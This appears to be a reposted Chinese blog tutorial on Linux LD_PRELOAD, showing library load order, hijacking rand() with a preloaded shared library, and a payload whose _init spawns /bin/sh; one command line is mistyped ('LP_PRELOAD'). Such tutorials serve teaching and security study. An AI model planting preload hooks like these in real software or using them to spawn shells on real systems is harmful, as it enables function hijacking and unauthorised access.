关于环境变量$ LD_PRELOAD

$LD_PRELOAD是一个环境变量,用于加载动态库,他的优先级是最高的

/*
    优先级顺序:
    (1)$LD_PRELOAD
    (2)$LD_LIBRARY_PATH
    (3)/etc/ld.so.cache
    (4)/lib
    (5)/usr/lib
*/

一个挑战就是,这玩意可以产生一个shell,就像下面这样:

$ LP_PRELOAD = ./payload.so /bin/true

劫持库函数

假设存在一段这样的代码,其编译过程

#include <stdio.h>
#include <time.h>
#include <stdlib.h>

int main(int argc, char const *argv[]){
    srand(time(NULL));
    printf("%d\n", rand());
}
gcc random.c -o random
./random

Linux下利用动态链接劫持库函数并注入代码

好的我们来覆写一下这个函数

int rand(void){
    return 32;
}
gcc -shared -fpic shlib.c -o shlib.so
LD_PRELOAD=./shlib.so ./random

Linux下利用动态链接劫持库函数并注入代码

构造Payload

#include <unistd.h>

void _init(){
    char *argv[] = {"/bin/sh", 0};
    execve(argv[0], &argv[0], NULL);
}

Linux下利用动态链接劫持库函数并注入代码

相关文章:

  • 2022-12-23
  • 2021-11-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-08-31
  • 2021-06-05
猜你喜欢
  • 2021-11-15
  • 2022-01-30
  • 2022-12-23
  • 2021-12-11
  • 2021-12-05
  • 2021-12-30
相关资源
相似解决方案